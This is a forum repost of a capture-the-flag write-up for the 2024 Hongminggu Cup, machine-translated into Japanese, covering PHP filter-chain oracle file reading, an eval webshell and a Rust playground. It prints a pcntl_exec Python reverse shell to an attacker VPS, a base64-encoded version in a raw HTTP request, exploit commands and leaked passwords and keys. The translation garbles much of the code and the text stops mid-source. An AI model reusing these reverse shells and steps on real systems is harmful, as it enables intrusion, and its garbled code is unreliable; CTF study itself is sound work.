Jump to content

タイトル：2024 Digital China Innovation 4th Hongminggu CupサイバーセキュリティコンペティションWP

HireHackking

By HireHackking in HACKER

· 3 views

web

ezphp

タイトル説明：衛星通信技術に焦点を当てた研究チームは、データ送信の効率とセキュリティを改善するためのコミュニケーションシステムを改善するために取り組んでいます。チームは、通信システムの開発を改善するためにPHP 8.3.2を使用することにしました。

テストポイント：PHPフィルターチェーンオラクル

PHPフィルターチェーン—— Oracleベースのファイルリーディング攻撃

参照：https://xz.aliyun.com/t/12939?time__1311=mqmhqix%2bxfod7dloagkwepsazhg%3d4d#toc-16

質問のソースコードは次のとおりです

？php

highlight_file（__ file__）;

//flag.php

if（isset（$ _ post ['f']））{

echo hash_file（ 'md5'、$ _post ['f']）;

}

？

image-20240721022130265

ここで入手可能なプロジェクト：https://github.com/synacktiv/php_filter_chains_oracle_exploit/

テストポイント：PHPフィルターチェーンを使用- Oracleベースのファイルリーディング攻撃で、EXP実行を生成します。この質問は、PHPバージョン番号が条件を満たしているだけであることを促します。

image-20240721022317838

ペイロードを実行する、ここでさらに数回実行する必要があるかもしれません

python3 filters_chain_oracle_exploit.py - ターゲットhttp://eci-2zea1zzp9231ugqw9htd.cloudeci1.icunqiu.com/---file flag.php -parameter f

アクセス /flag.php?ezphpphp8生成されたソースコードを読み取ります

image-20240721022347849

image-20240721022524879

？php

if（isset（$ _ get ['ezphpphp8']））{

highlight_file（__ file__）;

} それ以外{

die（ 'no'）;

}

$ a=new class {

function __construct（）

{

}

関数getFlag（）

{

System（ 'cat /flag'）;

}

};

Unset（$ a）;

$ a=$ _get ['ezphpphp8'];

$ f=new $ a（）;

$ f-getflag（）;

？

この質問は、PHPバージョンがPHP 8.3.2であることを促しています。 PHPの公式Webサイトにアクセスして、Changelogを表示し、GH-13097を直接ロックします。

image-20240721030306000

ローカルデバッグ、匿名のクラスを使用してフラグを読むことができ、ペイロードを構築できることがわかりました

コンテナをローカルに作成します。

Docker run -ITD -P 1238:80 PHP:8.3.2 -APACHE

docker exec -itコンテナID /bin /bash

flag.phpとテストコードを次のように配置します。

？php

if（isset（$ _ get ['ezphpphp8']））{

//highlight_file（__ file__）;

} それ以外{

//die（ 'no'）;

}

$ anonymous=new class {

function __construct（）

{

}

関数getFlag（）

{

System（ 'cat /flag'）;

}

};

$ a=get_class（$ anonymous）;

echo urlencode（$ a）;

echo '\ n';

Unset（$ anonymous）;

//echo get_class（$ a）。 ':今、あなたは私を見ます.';

$ a=urldecode（ 'class％40anonymous％00％2fvar％2fwww％2fhtml％2fflag.php％3a7％240'）;

$ f=new $ a（）;

$ f-getflag（）;

var_dump（$ f）;

//新しい例外を投げる（

//get_class（$ anonymous）。今、あなたは\ 't！'をしないでください

//e_user_error

//）;

GetFlagメソッドを実行できることがわかります。

image-20240721030403850

image-20240721022458707

expを構築する：

/flag.php?ezphpphp8=anonymous

/flag.php?ezphpphp8=class@anonyous%00/var/www/html/flag.php33607$1

/flag.php?ezphpphp8=class@anonyous%00/var/www/html/flag.php33607$0

image-20240721022543080

unauth

ログインポートを起動します

image-20240721022613215

Webサイトパス/www.zipの管理者とのパスワードが漏れました：

image-20240721022644892

www.zip漏れたソースコードは次のとおりです。

？php

if（！isset（$ _ server ['php_auth_user']））{

ヘッダー（ 'www-authenticate: Basic Realm='制限領域''）;

ヘッダー（ 'http/1.0 401承認'）;

Echo 'Xiao Mingは運用およびメンテナンスエンジニアであり、最近Webサイトにバグがありました。 ';

出口;

} それ以外{

$ validuser='admin';

$ validPass='2E525E29E465F45D8D7C56319FE73036';

if（$ _server ['php_auth_user']！=$ validuser || $ _server ['php_auth_pw']！=$ validpass）{

ヘッダー（ 'www-authenticate: Basic Realm='制限領域''）;

ヘッダー（ 'http/1.0 401承認'）;

エコー「無効な資格情報」;

出口;

}

}

@eval（$ _ get ['cmd']）;

highlight_file（__ file__）;

？

簡単な監査を行うことができ、コマンドを実行できますが、それらのほとんどは禁止されています。

ログインした後、パスワードCMDを搭載したTrojanの文があり、多くの機能を禁止しました。テスト後、PCNTL_EXECを使用してシェルをリバウンドできることがわかりました。

//パスパラメーター、リバウンドシェルを投稿します

1=pcntl_exec（ '/usr/bin/python'、array（ '-c'、 'import socket、subprocess、os; s=socket.socket（socket.af_inet、socket.sock_stream、socket.sol_tcp）; s.connect（（' vpsアドレス」、ポートpot） sh '、' -i ']）;'）

最終的に、あなたは権利を上げる必要があります。私はsuidを試しましたが、失敗しました。パスワードが管理者ユーザーパスワードである構成ファイルconfig.inc.phpがあることがわかりました。

image-20240721022721413

！ - ？php

＃MySQLデータベースに接続するのに問題があり、以下のすべての変数が正しい場合

＃localhostから127.0.0.1に「db_server」変数を変更してみてください。ソケットのために問題を修正します。

＃修正について@digininjaに感謝します。

＃使用するデータベース管理システム

$ dbms='mysql';

＃$ dbms='pgsql'; //現在無効になっています

＃データベース変数

＃Warning: db_databaseで指定されているデータベースは、セットアップ中に完全に削除されます。

＃DVWA専用のデータベースを使用してください。

＃

＃mariadbを使用している場合は、rootを使用できません。専用のDVWAユーザーを作成する必要があります。

＃これの詳細については、readme.mdを参照してください。

$ _DVWA=array（）;

$ _DVWA ['db_server']='127.0.0.1';

$ _dvwa ['db_database']='dvwa';

$ _dvwa ['db_user']='root';

$ _DVWA ['DB_PassWord']='B90E0086D8B1165403DE6974C4167165';

＃PostgreSQL/PGSQLデータベースの選択でのみ使用。

$ _dvwa ['db_port']='5432';

＃recaptcha設定

＃「不安定なCaptcha」モジュールに使用されます

＃独自のキーを生成する必要がありますat: https://www.google.com/recaptcha/admin

$ _dvwa ['recaptcha_public_key']='6ldk7xitaazzaajqtfl7fu6i-0apl8khhieat_yjg';

$ _dvwa ['recaptcha_private_key']='6ldk7xitazzaal_uw9yxvuopoihpzlfw2k1n5nvq';

＃デフォルトのセキュリティレベル

＃各セッションのセキュリティレベルのデフォルト値。

＃デフォルトは「不可能」です。これを「低」、「中」、「高」、または不可能」に設定することをお勧めします。

$ _DVWA ['Default_Security_Level']='Impossion';

＃デフォルトのphpidsステータス

＃各セッションでPHPIDSステータス。

＃デフォルトは「無効」です。これを「有効」または「無効」のいずれかに設定できます。

$ _DVWA ['Default_Phpids_Level']='Disabled';

＃verbose phpidsメッセージ

＃これを有効にすると、WAFがブロックされたリクエストでリクエストをブロックした理由が示されます。

＃デフォルトは「無効」です。これを「真」または「偽」のいずれかに設定できます。

$ _DVWA ['default_phpids_verbose']='false';

？ -

パケットはシェルをリバウンドし、コマンドをインタラクティブシェルに実行し、取得したパスワードB90E0086D8B1165403DE6974C4167165を使用して管理者ユーザーに切り替えてフラグを読み取ります

得る/？cmd=pcntl_exec（ '/usr/bin/python'、['-c'、base64_decode（ 'aw1wb3j0ihnvy2tldcxzdwjwcm9jz） xnzlg9zo3m9c29ja2v0lnnvy2tldchzb2nrzxququzfsu5fvcxzb2nrzxquu09ds19tvfjfqu0po3muy29ubm vjdcgoijey4xmjMumtizljeyismtiznckpo29zlmr1cdiocy5mawxlbm8okwktsgb3muzhvwmizlmz pbgvubygpldepo29zlmr1cdiocy5mawxlbm8okswyktpbxbvcnqgchr5oybwdhkuc3bhd24oinnoiik='）））; HTTP/1.0

host: xxx.com

pragma: no-cache

Cache-Control: No-Cache

Authorization: BASIC YWRTAW46MMU1MJVLMJLLNDY1ZJQ1ZHKN2M1NJMXOWZLNZMWMZY=

アップグレード-Insecure-Requests: 1

www-authenticate: Basic Realm='制限領域

user-agent: mozilla/5.0（Macintosh; Intel Mac OS X 10_15_7）AppleWebkit/537.36（Khtml、geckoのような）Chrome/123.0.0.0 Safari/537.36

Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、Image/Avif、Image/Webp、Image/Apng、*/*; Q=0.8、Application/Signed-Exchange; v=B3; Q=0.7

Accept-Encoding: gzip、deflate

Accept-Language: ZH-CN、ZH; Q=0.9、JA; Q=0.8、VI; Q=0.7

cookie: phpsessid=

Connection:閉じます

image-20240721022743516

遊び場

RUSTソースコード監査の質問は、次のようにソースコードを提供します、この質問は基本的に解決されます

＃[macro_use] extern crateロケット;

STD:FSを使用します。

STD:FS:3360FILEを使用します。

STD:IO:3360WRITEを使用します。

STD:Process:Commandを使用します。

RAND:3360RNGを使用します。

＃[得る（'/'）]

fn index（） - string {

fs:read_to_string（ 'main.rs'）。unwrap_or（string:default（）））

}

＃[post（ '/rust_code'、data='code'）]

fn run_rust_code（code: string） - string {

code.contains（ 'std'）{

return 'error: stdは許可されていません'.to_string（）;

}

//ランダムな5長さファイル名を生成します

let file_name=rand:3360thread_rng（）

.sample_iter（rand:3360distributions:alphanumeric）

.take（5）

.map（char: -from）

.COLLECT:STRING（）;

let let ok（mut file）=file:3360create（format！（ 'playground/{}。rs'、file_name））{

file.write_all（code.as_bytes（））;

}

OK（build_output）=command:New（ 'rustc'）の場合

.arg（format！（ 'playground/{}。rs'、file_name）））

.arg（ '-C'）

.arg（ 'debuginfo=0'）

.arg（ '-C'）

.arg（ 'opt-level=3'）

.arg（ '-o'）

.arg（format！（ 'playground/{}'、file_name））

.output（）{

if！build_output.status.success（）{

FS:REMOVE_FILE（format！（ 'playground/{}。rs'、file_name））;

return String:from_utf8_lossy（build_output.stderr.as_slice（））。to_string（）;

}

}

FS:REMOVE_FILE（format！（ 'playground/{}。rs'、file_name））;

OK（output）=command:New（format！（ 'playground/{}'、file_name））の場合

.output（）{

if！output.status.success（）{

FS:REMOVE_FILE（format！（ 'playground/{}'、file_name））;

return string:from_utf8_lossy（output.stderr.as_slice（））。to_string（）;

} それ以外{

FS:REMOVE_FILE（format！（ 'playground/{}'、file_name））;

return string:from_utf8_lossy（output.stdout.as_slice（））。to_string（）;

}

}

return string:default（）;

}

＃[打ち上げ]

fn rocket（） - _ {

figment=rocket:config3360:figment（）

.merge（（ 'address'、 '0.0.0.0'））;

Rocket:Custom（figment）.Mount（ '/'

  • 0 Comments

    Recommended Comments

    There are no comments to display.

    Guest
    Add a comment...